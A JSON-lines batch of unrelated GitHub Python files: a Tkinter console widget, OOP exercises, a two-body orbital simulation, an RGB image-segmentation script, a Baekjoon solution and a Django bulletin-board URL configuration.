self.text_widget.config(state=tk.DISABLED)\r\n\r\n    def render(self, parent, **grid_options):\r\n        \"Renders the frame\"\r\n        console_frame = tk.Frame(parent)\r\n        console_frame.grid(**grid_options)\r\n        console_frame.rowconfigure(0, weight=1)\r\n        console_frame.columnconfigure(0, weight=1)\r\n\r\n        vertical_scrool_bar = tk.Scrollbar(console_frame)\r\n        self.text_widget = tk.Text(\r\n            console_frame,\r\n            yscrollcommand=vertical_scrool_bar.set\r\n        )\r\n\r\n        vertical_scrool_bar.config(command=self.text_widget.yview)\r\n\r\n        self.text_widget.grid(\r\n            row=0, column=0,\r\n            sticky=tk.NSEW\r\n        )\r\n        vertical_scrool_bar.grid(row=0, column=1, sticky=tk.N+tk.S+tk.W)\r\n\r\n        self._output = Output(self.text_widget, apply=_add_color)\r\n\r\n        return console_frame\r\n\r\n    @property\r\n    def file(self):\r\n        \"returns the file where the output goes\"\r\n        return self._output\r\n\r\n    def __getattr__(self, key):\r\n        try:\r\n            return self.__getattribute__(key)\r\n        except AttributeError:\r\n            return getattr(self._output, key)\r\n","repo_name":"erdoganonal/compiler_tool","sub_path":"layouts/console_layout.py","file_name":"console_layout.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"2613597022","text":"# Number 1\n\nclass Rectangle:\n\n    def __init__(self, a, b):\n\n        self.square = Rectangle.square_rectangle(a, b)\n\n    @staticmethod\n    def square_rectangle(a, b):\n        return a*b\n\n\np1 = Rectangle(3, 5)\np2 = Rectangle(4, 9)\n\nprint(p1.square, p2.square)\n\n# Number 2\n\nclass Dog:\n    count = 0\n\n    def __new__(cls, *args, **kwargs):\n        if Dog.count < 5:\n            Dog.count += 1\n            return super(Dog, cls).__new__(cls)\n\n\n\n    def __init__(self, name, age, breed):\n\n        self.name = name\n        self.age = age\n        self.breed = breed\n\n\na1 = Dog('a1', 1, 'rr')\na2 = Dog('a2', 2, 'rr')\na3 = Dog('a3', 3, 'rr')\na4 = Dog('a4', 4, 'rr')\na5 = Dog('a5', 5, 'rr')\na6 = Dog('a5', 6, 'rr')\n\nprint(id(a1), id(a2), id(a3), id(a4), id(a5), id(a6))\nprint(a1.name, a2.name, a3.name, a4.name)","repo_name":"Teempest/oop_basics","sub_path":"oop_5.py","file_name":"oop_5.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"37627433256","text":"from mpl_toolkits import mplot3d\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nimport matplotlib.animation as animation\nimport sys\n# https://en.wikipedia.org/wiki/Two-body_problem\n# https://towardsdatascience.com/modelling-the-three-body-problem-in-classical-mechanics-using-python-9dc270ad7767\n# https://evgenii.com/blog/two-body-problem-simulator/\n\nx1 = []\nx2 = []\ny1 = []\ny2 = []\nz1 = []\nz2 = []\nt = []\nR = []\nr = []\n\n\n# default parameters, overwritten by config.ini\nPARAMETER_m1 = 1\nPARAMETER_m2 = 0.5\nPARAMETER_step = 0.1\nPARAMETER_points = 1000\n\nG = 6.67408e-11 # N-m2/kg2\nm_nd = 1.989e+30 #kg #mass of the sun\nr_nd = 5.326e+12 #m #distance between stars in Alpha Centauri\nv_nd = 30000 #m/s #relative velocity of earth around the sun\nt_nd = 79.91*365*24*3600*0.51 #s #orbital period of Alpha Centauri#Net constants\n\nFACTOR_K1 = 1#G*t_nd*m_nd/(r_nd**2*v_nd)     uncomment for ex2/sci\nFACTOR_K2 = 1#v_nd*t_nd/r_nd                 uncomment for ex2/sci\nZERO_R = True                              #R is zeroed\n\n\ndef init(pnumberofvalues):\n    global x1,x2,y1,y2,z1,z2,t,R,r\n    t = np.zeros(pnumberofvalues)\n    x1 = np.zeros([pnumberofvalues,2])\n    x2 = np.zeros([pnumberofvalues,2])\n    y1 = np.zeros([pnumberofvalues,2])\n    y2 = np.zeros([pnumberofvalues,2])\n    z1 = np.zeros([pnumberofvalues,2])\n    z2 = np.zeros([pnumberofvalues,2])\n\n    R = np.zeros([pnumberofvalues,3])\n    r = np.zeros([pnumberofvalues,3])\n\n# Finds value of y for a given t using step size h\n# and initial value y0 at x0.\n'''\nk1 = h * dydt(t0, y)\nk2 = h * dydt(t0 + 0.5 * h, y + 0.5 * k1)\nk3 = h * dydt(t0 + 0.5 * h, y + 0.5 * k2)\nk4 = h * dydt(t0 + h, y + k3)\n\ny[i] = y[i-1] + (1.0 / 6.0)*(k1 + 2 * k2 + 2 * k3 + k4)\n'''\ndef twobodiesExample2(pnumberofpoints, h, K1, K2, m1, m2):\n    global x1, x2, y1, y2, z1, z2\n    import scipy as sci#Import matplotlib and associated modules for 3D and animations\n    # Count number of iterations using step size or\n    # step height h\n    #Define masses\n    t=[]\n    r=[]\n    R=[]\n    r1=[-0.5,0,0] #m\n    r2=[0.5,0,0] #m#Convert pos vectors to arrays\n    r1=np.array(r1,dtype=\"float64\")\n    r2=np.array(r2,dtype=\"float64\")#Find Centre of Mass\n    r_com=(m1*r1+m2*r2)/(m1+m2)#Define initial velocities\n    v1=[0.01,0.01,0] #m/s\n    v2=[-0.05,0,-0.1] #m/s#Convert velocity vectors to arrays\n    v1=np.array(v1,dtype=\"float64\")\n    v2=np.array(v2,dtype=\"float64\")#Find velocity of COM\n    v_com=(m1*v1+m2*v2)/(m1+m2)\n\n    #Package initial parameters\n    init_params=np.array([r1,r2,v1,v2]) #create array of initial params\n    init_params=init_params.flatten() #flatten array to make it 1D\n    time_span=np.linspace(0,1,pnumberofpoints) #8 orbital periods and 500 points#Run the ODE solver\n    import scipy.integrate\n\n    #A function defining the equations of motion\n    def TwoBodyEquations(w,t,G,m1,m2,K1,K2):\n        r1=w[:3]\n        r2=w[3:6]\n        v1=w[6:9]\n        v2=w[9:12]\n        r=sci.linalg.norm(r2-r1) #Calculate magnitude or norm of vector\n        dv1bydt=K1*m2*(r2-r1)/r**3\n        dv2bydt=K1*m1*(r1-r2)/r**3\n        dr1bydt=K2*v1\n        dr2bydt=K2*v2\n        r_derivs=np.concatenate((dr1bydt,dr2bydt))\n        derivs=np.concatenate((r_derivs,dv1bydt,dv2bydt))\n        return derivs\n\n\n    two_body_sol=sci.integrate.odeint(TwoBodyEquations,init_params,time_span,args=(G,m1,m2,K1,K2))\n\n    r1_sol=two_body_sol[:,:3]\n    r2_sol=two_body_sol[:,3:6]\n\n    init(pnumberofpoints)\n\n    for idx in range(len(x1)):\n        x1[idx][0] = r1_sol[idx,0]\n        y1[idx][0] = r1_sol[idx,1]\n        z1[idx][0] = r1_sol[idx,2]\n        x2[idx][0] = r2_sol[idx,0]\n        y2[idx][0] = r2_sol[idx,1]\n        z2[idx][0] = r2_sol[idx,2]\n    '''\n    fig=plt.figure(figsize=(15,15))#Create 3D axes\n    ax=fig.add_subplot(111,projection=\"3d\")#Plot the orbits\n    ax.plot(r1_sol[:,0],r1_sol[:,1],r1_sol[:,2],color=\"darkblue\")\n    ax.plot(r2_sol[:,0],r2_sol[:,1],r2_sol[:,2],color=\"tab:red\")#Plot the final positions of the stars\n    ax.scatter(r1_sol[-1,0],r1_sol[-1,1],r1_sol[-1,2],color=\"darkblue\",marker=\"o\",s=100,label=\"Alpha Centauri A\")\n    ax.scatter(r2_sol[-1,0],r2_sol[-1,1],r2_sol[-1,2],color=\"tab:red\",marker=\"o\",s=100,label=\"Alpha Centauri B\")#Add a few more bells and whistles\n    ax.set_xlabel(\"x-coordinate\",fontsize=14)\n    ax.set_ylabel(\"y-coordinate\",fontsize=14)\n    ax.set_zlabel(\"z-coordinate\",fontsize=14)\n    ax.set_title(\"Visualization of orbits of stars in a two-body system\\n\",fontsize=14)\n    ax.legend(loc=\"upper left\",fontsize=14)\n    plt.show()\n    '''\n\ndef twobodiesExample1(pnumberofpoints, h, K1, K2, m1, m2):\n    global r,R,x1,x2,y1,y2,z1,z2,t\n    # Count number of iterations using step size or\n    # step height h\n    t0 = 0\n\n    init(pnumberofpoints)\n\n    x1[0][0] = 1\n    y1[0][0] = 0\n    z1[0][0] = 0\n    x2[0][0] = 0\n    y2[0][0] = 0\n    z2[0][0] = 0\n\n    x1[0][1] = 0\n    y1[0][1] = 0\n    z1[0][1] = 0\n    x2[0][1] = 0\n    y2[0][1] = 1.59687\n    z2[0][1] = 0\n\n\n    r[0][0] = (x2[0][0]-x1[0][0])\n    r[0][1] = (y2[0][0]-y1[0][0])\n    r[0][2] = (z2[0][0]-z1[0][0])\n\n    R[0][0]=(m1*x1[0][0]+m2*x2[0][0])/(m1+m2)   # TODO\n    R[0][1]=(m1*y1[0][0]+m2*y2[0][0])/(m1+m2)   # TODO\n    R[0][2]=(m1*z1[0][0]+m2*z2[0][0])/(m1+m2)   # TODO\n\n\n    a = [h/2.0, h/2.0, h, 0]\n    b = [h/6.0, h/3.0, h/3.0, h/6.0]\n\n\n    def deriveVelocityAndAcceleration(px1,py1,pz1,px2,py2,pz2,m1,m2):\n        global K1, K2\n        rnormed = math.sqrt((px1[0]-px2[0])**2 + (py1[0]-py2[0])**2 + (pz1[0]-pz2[0])**2)\n        dx1 = [0,0]\n        dy1 = [0,0]\n        dz1 = [0,0]\n\n        dx2 = [0,0]\n        dy2 = [0,0]\n        dz2 = [0,0]\n\n        dx1[0] = px1[1]\n        dy1[0] = py1[1]\n        dz1[0] = pz1[1]\n\n        dx2[0] = px2[1]\n        dy2[0] = py2[1]\n        dz2[0] = pz2[1]\n\n        dx1[1] = (m2)  * (px2[0]-px1[0])/ (rnormed**3)\n        dy1[1] = (m2) * (py2[0]-py1[0])/ (rnormed**3)\n        dz1[1] = (m1) * (pz2[0]-pz1[0]) / (rnormed**3)\n\n\n        dx2[1] = (m1) * (px1[0]-px2[0]) / (rnormed**3)\n        dy2[1] = (m1) * (py1[0]-py2[0]) / (rnormed**3)\n        dz2[1] = (m2) * (pz1[0]-pz2[0]) / (rnormed**3)\n        return dx1,dy1,dz1,dx2,dy2,dz2\n\n    for i in range(1, len(t)):\n        xn1 = np.zeros(2)     # Position and velocity\n        xn2 = np.zeros(2)\n        yn1 = np.zeros(2)\n        yn2 = np.zeros(2)\n        zn1 = np.zeros(2)\n        zn2 = np.zeros(2)\n\n        # Runge-Kutta\n        xn1[0] = x1[i-1][0]\n        xn1[1] = x1[i-1][1]\n\n        xn2[0] = x2[i-1][0]\n        xn2[1] = x2[i-1][1]\n\n        yn1[0] = y1[i-1][0]\n        yn1[1] = y1[i-1][1]\n\n        yn2[0] = y2[i-1][0]\n        yn2[1] = y2[i-1][1]\n\n        zn1[0] = z1[i-1][0]\n        zn1[1] = z1[i-1][1]\n\n        zn2[0] = z2[i-1][0]\n        zn2[1] = z2[i-1][1]\n\n        #vars\n        xvar1 = [0,0]\n        yvar1 = [0,0]\n        zvar1 = [0,0]\n\n        xvar2 = [0,0]\n        yvar2 = [0,0]\n        zvar2 = [0,0]\n\n        xvar1[0] = xn1[0]\n        yvar1[0] = yn1[0]\n        zvar1[0] = zn1[0]\n\n        xvar1[1] = xn1[1]\n        yvar1[1] = yn1[1]\n        zvar1[1] = zn1[1]\n\n        xvar2[0] = xn2[0]\n        yvar2[0] = yn2[0]\n        zvar2[0] = zn2[0]\n\n        xvar2[1] = xn2[1]\n        yvar2[1] = yn2[1]\n        zvar2[1] = zn2[1]\n\n        #k\n        kx1 = [0,0]\n        kx2 = [0,0]\n        ky1 = [0,0]\n        ky2 = [0,0]\n        kz1 = [0,0]\n        kz2 = [0,0]\n\n\n\n        for idx in range(4):\n\n            dxvar1,dyvar1,dzvar1, dxvar2,dyvar2,dzvar2 = deriveVelocityAndAcceleration(xvar1,yvar1,zvar1,xvar2,yvar2,zvar2,m1, m2)\n\n            dxvar1[0] = K2*dxvar1[0]\n            dyvar1[0] = K2*dyvar1[0]\n            dzvar1[0] = K2*dzvar1[0]\n\n            dxvar1[1] = K1*dxvar1[1]\n            dyvar1[1] = K1*dyvar1[1]\n            dzvar1[1] = K1*dzvar1[1]\n\n            kx1[0] = kx1[0] + dxvar1[0]*b[idx]\n            ky1[0] = ky1[0] + dyvar1[0]*b[idx]\n            kz1[0] = kz1[0] + dzvar1[0]*b[idx]\n            kx1[1] = kx1[1] + dxvar1[1]*b[idx]\n            ky1[1] = ky1[1] + dyvar1[1]*b[idx]\n            kz1[1] = kz1[1] + dzvar1[1]*b[idx]\n\n\n            kx2[0] = kx2[0] + dxvar2[0]*b[idx]\n            ky2[0] = ky2[0] + dyvar2[0]*b[idx]\n            kz2[0] = kz2[0] + dzvar2[0]*b[idx]\n            kx2[1] = kx2[1] + dxvar2[1]*b[idx]\n            ky2[1] = ky2[1] + dyvar2[1]*b[idx]\n            kz2[1] = kz2[1] + dzvar2[1]*b[idx]\n\n\n            # next step\n            xvar1[0] = xn1[0]+(dxvar1[0]* a[idx])\n            xvar1[1] = xn1[1]+(dxvar1[1] * a[idx])\n\n            yvar1[0] = yn1[0]+(dyvar1[0]* a[idx])\n            yvar1[1] = yn1[1]+(dyvar1[1] * a[idx])\n\n            zvar1[0] = zn1[0]+(dzvar1[0]  * a[idx])\n            zvar1[1] = zn1[1]+(dzvar1[1] * a[idx])\n\n            xvar2[0] = xn2[0]+(dxvar2[0]* a[idx])\n            xvar2[1] = xn2[1]+(dxvar2[1] * a[idx])\n\n            yvar2[0] = yn2[0]+(dyvar2[0]* a[idx])\n            yvar2[1] = yn2[1]+(dyvar2[1] * a[idx])\n\n            zvar2[0] = zn2[0]+(dzvar2[0]  * a[idx])\n            zvar2[1] = zn2[1]+(dzvar2[1] * a[idx])\n            #print(idx)\n            #print(\"-------->  ku::(\"+str(kx1))\n            #print(\"-------->  ku::(\"+str(ky1))\n            #print(\"-------->  ku::(\"+str(kz1))\n            #print(\"-------->  ku::(\"+str(kx2))\n            #print(\"-------->  ku::(\"+str(ky2))\n            #print(\"-------->  ku::(\"+str(kz2))\n            #print(str(idx)+\")x ---> \"+str(xvar1[0] )+\" \"+str(dxvar1[0]) )\n\n\n        x1[i][0]  = xn1[0]  + kx1[0]\n        y1[i][0]  = yn1[0]  + ky1[0]\n        z1[i][0]  = zn1[0]  + kz1[0]\n\n        x2[i][0]  = xn2[0]  + kx2[0]\n        y2[i][0]  = yn2[0]  + ky2[0]\n        z2[i][0]  = zn2[0]  + kz2[0]\n\n        x1[i][1]  = xn1[1]  + kx1[1]\n        y1[i][1]  = yn1[1]  + ky1[1]\n        z1[i][1]  = zn1[1]  + kz1[1]\n\n        x2[i][1]  = xn2[1]  + kx2[1]\n        y2[i][1]  = yn2[1]  + ky2[1]\n        z2[i][1]  = zn2[1]  + kz2[1]\n\n        print(str(i)+\" -----------------------------\")\n        print(\"u::\"+str(x1[i]))\n        print(\"u::\"+str(y1[i]))\n        print(\"u::\"+str(z1[i]))\n        print(\"u::\"+str(x2[i]))\n        print(\"u::\"+str(y2[i]))\n        print(\"u::\"+str(z2[i]))\n        print(\"----------------------------------\")\n\n        R[i][0]=(m1*x1[i][0]+m2*x2[i][0])/(m1+m2)   # TODO\n        R[i][1]=(m1*y1[i][0]+m2*y2[i][0])/(m1+m2)   # TODO\n        R[i][2]=(m1*z1[i][0]+m2*z2[i][0])/(m1+m2)   # TODO\n\n        t0 = t0 + h\n        t[i] = t0\n\n        r[i][0] = (x2[i][0]-x1[i][0])\n        r[i][1] = (y2[i][0]-y1[i][0])\n        r[i][2] = (z2[i][0]-z1[i][0]) #\n\n\n\n\ndef twobodiesExample0(pnumberofpoints, h, K1, K2, m1, m2):\n    global r, t, R\n    # Count number of iterations using step size or\n    # step height h\n\n    init(pnumberofpoints)\n    def deriveVelocityAndAcceleration(x1,y1,z1,m1, m2):\n        rr = math.sqrt(x1[0]**2 + y1[0]**2)# + z1[0]**2)\n        dx1 = [0,0]\n        dy1 = [0,0]\n        dz1 = [0,0]\n\n        dx1[0] = x1[1]\n        dy1[0] = y1[1]\n        dz1[0] = z1[1]\n\n        dx1[1] = (-(1+m2)* x1[0]) / (rr**3)\n        dy1[1] = (-(1+m2) * y1[0]) / (rr**3)\n        dz1[1] = (-(1+m2) * z1[0]) / (rr**3)\n        return dx1,dy1,dz1\n\n    t0 = 0\n    rx1 = [1,0]\n    ry1 = [0, 1.59687]\n    rz1 = [0,0]\n\n    r[0][0] = rx1[0]\n    r[0][1] = ry1[0]\n    r[0][2] = rz1[0]\n\n\n    a = [h/2.0, h/2.0, h, 0.0]\n    b = [h/6.0, h/3.0, h/3.0, h/6.0]\n    for i in range(1,len(t)):\n        # Runge-Kutta\n        xn1 = [0,0]\n        yn1 = [0,0]\n        zn1 = [0,0]\n\n        xn1[0] = rx1[0]\n        xn1[1] = rx1[1]\n\n        yn1[0] = ry1[0]\n        yn1[1] = ry1[1]\n\n        zn1[0] = rz1[0]\n        zn1[1] = rz1[1]\n\n        #print(\"####\"+str(i)+\" x:\"+str(xn1)+\" y:\"+str(yn1))\n        kx1 = [0,0]\n        ky1 = [0,0]\n        kz1 = [0,0]\n\n        xvar1 = xn1[:]\n        yvar1 = yn1[:]\n        zvar1 = zn1[:]\n\n        for idx in range(4):\n\n            #print(str(xn1)+\" \"+str(yn1))\n            dx1,dy1,dz1 = deriveVelocityAndAcceleration(xvar1,yvar1,zvar1,m1, m2)\n\n            kx1[0] = kx1[0] + (K2*dx1[0]*b[idx])\n            ky1[0] = ky1[0] + (K2*dy1[0]*b[idx])\n            kz1[0] = kz1[0] + (K2*dz1[0]*b[idx])\n\n            kx1[1] = kx1[1] + (K1*dx1[1]*b[idx])\n            ky1[1] = ky1[1] + (K1*dy1[1]*b[idx])\n            kz1[1] = kz1[1] + (K1*dz1[1]*b[idx])\n\n            # next step\n            xvar1[0] = xn1[0]+(K2*dx1[0]  * a[idx])\n            yvar1[0] = yn1[0]+(K2*dy1[0]  * a[idx])\n            zvar1[0] = zn1[0]+(K2*dz1[0]  * a[idx])\n\n            xvar1[1] = xn1[1]+(K1*dx1[1]  * a[idx])\n            yvar1[1] = yn1[1]+(K1*dy1[1]  * a[idx])\n            zvar1[1] = zn1[1]+(K1*dz1[1]  * a[idx])\n\n            #print(\"-------->(\"+str(idx)+\")\")\n            #print(\"-------->  u ::(\"+str(xn1))\n            #print(\"-------->  u ::(\"+str(xvar1[0])+\"\\t\"+ str(yvar1[0])+\"\\t\"+str(xvar1[1])+\"\\t\"+str(yvar1[1]))\n            #print(\"-------->  du::(\"+str(dx1[0])+\"\\t\"+ str(dy1[0])+\"\\t\"+str(dx1[1])+\"\\t\"+str(dy1[1]))\n            #print(\"-------->  ut::(\"+str(kx1[0])+\"\\t\"+ str(ky1[0])+\"\\t\"+str(kx1[1])+\"\\t\"+str(ky1[1]))\n\n        #print(\"->kx:\"+str(kx1))\n        #print(\"->ky:\"+str(kx1))\n        rx1[0]  = xn1[0]  + kx1[0]\n        ry1[0]  = yn1[0]  + ky1[0]\n        rz1[0]  = zn1[0]  + kz1[0]\n\n        rx1[1]  = xn1[1]  + kx1[1]\n        ry1[1]  = yn1[1]  + ky1[1]\n        rz1[1]  = zn1[1]  + kz1[1]\n\n        r[i][0] = rx1[0]\n        r[i][1] = ry1[0]\n        r[i][2] = rz1[0]\n\n        t0 = t0 + h\n        t[i] = t0\n\n\ndef writeData(path, typeofdata):\n    global ZERO_R, PARAMETER_m1,PARAMETER_m2, t, r, R\n    print(\"## %d values generated\"%(len(t)))\n    f = open(path+\"data.out\",\"w+\")\n\n    tstring = \"t =\"\n\n    f.write(\"m1 = %s\\n\"%(PARAMETER_m1))\n    f.write(\"m2 = %s\\n\"%(PARAMETER_m2))\n\n    if typeofdata == 0:\n        x1string = \"x1 =\"\n        y1string = \"y1 =\"\n        z1string = \"z1 =\"\n\n        x2string = \"x2 =\"\n        y2string = \"y2 =\"\n        z2string = \"z2 =\"\n\n        for i in range(len(t)):\n            tstring =  tstring+\" \"+str(t[i])\n            x1string = x1string+\" \"+str(x1[i][0])\n            y1string = y1string+\" \"+str(y1[i][0])\n            z1string = z1string+\" \"+str(z1[i][0])\n            x2string = x2string+\" \"+str(x2[i][0])\n            y2string = y2string+\" \"+str(y2[i][0])\n            z2string = z2string+\" \"+str(z2[i][0])\n        f.write(tstring+\"\\n\")\n        f.write (x1string+\"\\n\")\n        f.write (y1string+\"\\n\")\n        f.write (z1string+\"\\n\")\n        f.write (x2string+\"\\n\")\n        f.write (y2string+\"\\n\")\n        f.write (z2string+\"\\n\")\n    elif typeofdata == 1:\n        rxstring = \"rx =\"\n        rystring = \"ry =\"\n        rzstring = \"rz =\"\n        Rxstring = \"Rx =\"\n        Rystring = \"Ry =\"\n        Rzstring = \"Rz =\"\n        for i in range(len(t)):\n            tstring =  tstring+\" \"+str(t[i])\n            rxstring = rxstring+\" \"+str(r[i][0])\n            rystring = rystring+\" \"+str(r[i][1])\n            rzstring = rzstring+\" \"+str(r[i][2])\n\n            if ZERO_R:\n                Rxstring = Rxstring+\" 0\"\n                Rystring = Rystring+\" 0\"\n                Rzstring = Rzstring+\" 0\"\n            else:\n                Rxstring = Rxstring+\" \"+str(R[i][0])\n                Rystring = Rystring+\" \"+str(R[i][1])\n                Rzstring = Rzstring+\" \"+str(R[i][2])\n\n        f.write (tstring+\"\\n\")\n        f.write (rxstring+\"\\n\")\n        f.write (rystring+\"\\n\")\n        f.write (rzstring+\"\\n\")\n\n        f.write (Rxstring+\"\\n\")\n        f.write (Rystring+\"\\n\")\n        f.write (Rzstring+\"\\n\")\n\n    f.close()\n\n\ndef readInputData(path):\n    global PARAMETER_m1, PARAMETER_m2, PARAMETER_step, PARAMETER_points\n\n\n    try:\n        f = open(path+\"config.ini\",\"r\")\n        data = f.readlines()\n        f.close()\n        for line in data:\n            if line[0] == \"#\":\n                continue\n\n            idx = line.index(\":\")\n            param = line[0:idx]\n\n            if idx != -1:\n                if param == \"m1\":\n                    PARAMETER_m1 = float(line[idx+1:].strip())\n                elif param == \"m2\":\n                    PARAMETER_m2 = float(line[idx+1:].strip())\n                elif param == \"step\":\n                    PARAMETER_step = float(line[idx+1:].strip())\n                elif param == \"points\":\n                    PARAMETER_points = int(line[idx+1:].strip())\n    except:\n        print(\"config.ini couldn't be interpreted, using default parameters\")\n\nif __name__ == \"__main__\":\n    typer = 1\n    typex = 0\n    path = \"\"\n\n    if len(sys.argv) > 1:\n\n        if len(sys.argv) == 3:\n            path = sys.argv[2]+\"/\"\n\n        readInputData(path)\n        if sys.argv[1] == \"-ex0\":\n            twobodiesExample0(PARAMETER_points, PARAMETER_step, FACTOR_K1, FACTOR_K2, PARAMETER_m1, PARAMETER_m2)\n            writeData(path,typer)\n        elif sys.argv[1] == \"-ex1\":\n            twobodiesExample1(PARAMETER_points, PARAMETER_step, FACTOR_K1, FACTOR_K2, PARAMETER_m1, PARAMETER_m2)\n            writeData(path,typer)\n        elif sys.argv[1] == \"-ex2\":\n            twobodiesExample2(PARAMETER_points, PARAMETER_step, FACTOR_K1, FACTOR_K2, PARAMETER_m1, PARAMETER_m2)\n            writeData(path, typex)\n    else:\n        print(\"# no action\")\n","repo_name":"slawyn/physics-twobodies-problem","sub_path":"TwoBodies/python/twobodies.py","file_name":"twobodies.py","file_ext":"py","file_size_in_byte":16832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"24266267962","text":"from skimage import data, color, io\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport math\n\nimage = io.imread('test.png')\nr = image[:, :, 0]\ng = image[:, :, 1]\nb = image[:, :, 2]\n# RGB颜色空间中的分割\n# 选择样本区域\nr_template = r[128:255, 85:169]\n# 计算该区域的彩色点的平均向量a的红色分量\nr_template_u = np.mean(r_template)\n# 计算样本点红色分量的标准差\nr_template_d = 0.0\nfor i in range(r_template.shape[0]):\n    for j in range(r_template.shape[1]):\n        r_template_d = r_template_d + (r_template[i, j] - r_template_u) * (r_template[i, j] - r_template_u)\n\nr_template_d = math.sqrt(r_template_d / r_template.shape[0] / r_template.shape[1])\n# 寻找符合条件的点，r_cut为红色分割图像\nr_cut = np.zeros(r.shape, dtype='uint8')\nfor i in range(r.shape[0]):\n    for j in range(r.shape[1]):\n        if r[i, j] >= (r_template_u - 1.25 * r_template_d) and r[i, j] <= (r_template_u + 1.25 * r_template_d):\n            r_cut[i, j] = 1\n# image_cut为根据红色分割后的RGB图像\nimage_cut = np.zeros(image.shape, dtype='uint8')\nfor i in range(r.shape[0]):\n    for j in range(r.shape[1]):\n        if r_cut[i, j] == 1:\n            image_cut[i, j, :] = image[i, j, :]\n\nplt.figure()\nplt.axis('off')\nplt.imshow(image)  # 显示原始图像\n\nplt.figure()\nplt.axis('off')\nplt.imshow(r)  # 显示R图像\n\nplt.figure()\nplt.axis('off')\nplt.imshow(g)  # 显示G图像\n\nplt.figure()\nplt.axis('off')\nplt.imshow(b)  # 显示B图像\n\nplt.figure()\nplt.axis('off')\nplt.imshow(r_cut)  # 显示红色分割图像图像\n\nplt.figure()\nplt.axis('off')\nplt.imshow(image_cut)  # 显示分割后的RGB图像\n\nplt.show()","repo_name":"Yuanmu-JH/DIP","sub_path":"test/Chapter2/test7.py","file_name":"test7.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"32249496554","text":"# 백준 4375번 1\n# SILVER 3\n# 알고리즘 분류 : 수학, 브루트포스 알고리즘, 정수론\nwhile True :\n    try :\n        n = int(input())\n        num = 1\n        while True :\n            if num%n == 0 :\n                print(len(str(num)))\n                break\n            num = num*10 + 1\n    except :\n        break","repo_name":"optshj/Baekjoon-Python","sub_path":"SILVER/4375.py","file_name":"4375.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"15838177705","text":"\"\"\"bbs URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/4.1/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.urls import re_path as url\nfrom django.views.static import serve\nfrom django.contrib import admin\nfrom django.urls import path\n\nfrom bbs import settings\nfrom app import views\n\nurlpatterns = [\n    #后台管理\n    url(r'^admin/', admin.site.urls),\n    #暴露后端用户数据文件夹\n    url(r'^media/(?P<path>.*)',serve,{'document_root':settings.MEDIA_ROOT}),\n\n    # 院庆日程\n    url(r'^schedule/', views.schedule,name='bbs_home'),  \n    #首页\n    # url(r'^$', views.bbs_home,name='home'),\n    url(r'^bbs/home/', views.bbs_home,name='bbs_home'),  \n   \n    # 注册\n    url(r'^bbs/register/', views.bbs_register,name='bbs_register'),\n    # 获取图片验证码\n    url(r'^bbs/get_code/', views.bbs_get_code,name='bbs_get_code'),\n    # 登陆\n    url(r'^bbs/login/', views.bbs_login,name='bbs_login'),\n    # 获取邮箱验证码\n    url(r'^bbs/get_register_code/', views.bbs_register_email,name='bbs_register_email'),\n    # 注销\n    url(r'^bbs/logout/', views.bbs_logout,name='bbs_logout'),\n    # 获取用户头像\n    url(r'^bbs/get_avatar/', views.bbs_get_avatar,name='bbs_get_avatar'),\n\n     # 文章详情\n    # url(r'^bbs/article/',views.bbs_article_detail),\n    url(r'^bbs/article/(?P<article_id>\\d+)/',views.article_detail),\n    # 我的帖子\n    url(r'^bbs/my_site/',views.bbs_my_site,name='bbs_my_site'),\n    # 点赞\n    url(r'^bbs/like/',views.bbs_like),\n    # 评论\n    url(r'^bbs/comment/', views.bbs_comment,name='bbs_comment'),\n    # 删除文章\n    url(r'^bbs/delete_article/', views.bbs_delete_article,name='bbs_delete_article'),\n    # 添加文章\n    url(r'^bbs/add_article/', views.bbs_add_article,name='bbs_add_article'),\n    # 我的消息\n    url(r'^bbs/new_comment/', views.comment_to_me,name='comment_to_me'),\n\n    url(r'^bbs/add_myclass/',views.add_myclass,name='bbs_add_myclass'),    \n    url(r'^bbs/search_class/',views.search_class,name='bbs_search_class'),   \n    url(r'^bbs/AI_PIL/', views.AI_PIL, name='bbs_AI_PIL'),\n    url(r'^bbs/new_comment/', views.comment_to_me, name='comment_to_me'),\n\n    url(r'^bbs/person_msg/',views.person_msg,name='person_msg'),\n    #修改头像\n    url(r'^bbs/set_avatar/',views.set_avatar,name='set_avatar'),\n\n    url(r'^bbs/send_message/', views.send_message, name='send_message'),#接口 实现发送私信\n    url(r'^bbs/my_message/', views.my_message, name='my_message'),#接口实现我的私信\n    #私信详情的url请记得放到最后面\n    url(r'^bbs/message_detail/(?P<username>\\w+)/',views.message_Detail),# 实现私信详情\n    \n\n\n\n\n\n\n\n\n]\n","repo_name":"zhaoxizxzx/back_end","sub_path":"bbs/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
